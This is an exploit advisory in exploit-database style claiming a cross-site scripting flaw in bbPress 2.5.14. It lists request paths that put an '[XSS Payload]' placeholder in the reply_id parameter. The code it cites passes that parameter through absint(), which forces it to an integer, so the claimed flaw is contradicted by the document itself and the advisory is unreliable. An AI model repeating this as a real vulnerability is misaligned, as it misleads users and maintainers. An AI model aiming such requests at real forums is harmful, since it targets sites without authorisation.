#-------------------------------------------------------# # Exploit Title: bbPress 2.5.14 - Cross Site Scripting Vulnerability # Exploit Author: Iran Cyber Security Group # Date: 2018-06-25 # Vendor Homepage: https://bbpress.org/ # Tested on: Kali Linux #--------------------------------------------------------# # PoC: Vuln in includes\common\template.php file in line 1691: <input type="hidden" name="bbp_reply_id" id="bbp_reply_id" value="<?php echo absint( $_GET['reply_id'] ); ?>" /> method 1: you can use "reply_id" parameter for set Your XSS payloads exploits: /?action=move&reply_id=6 /?action=split&reply_id=6 /?action=bbp_toggle_reply_trash&sub_action=trash&reply_id=6&_wpnonce=369b14d8cc /?action=bbp_toggle_reply_spam&reply_id=6&_wpnonce=8d6a680387 Demo: http://127.0.0.1/wordpress/forums/reply/test/edit/?action=move&reply_id=6[XSS Payload] Method 2: You can exploit this vulnerability by "replay" a post in the forum ---------------------------------------------------------# | Discovered By:Unkn0wn [unkn0wn@danwin1210.me]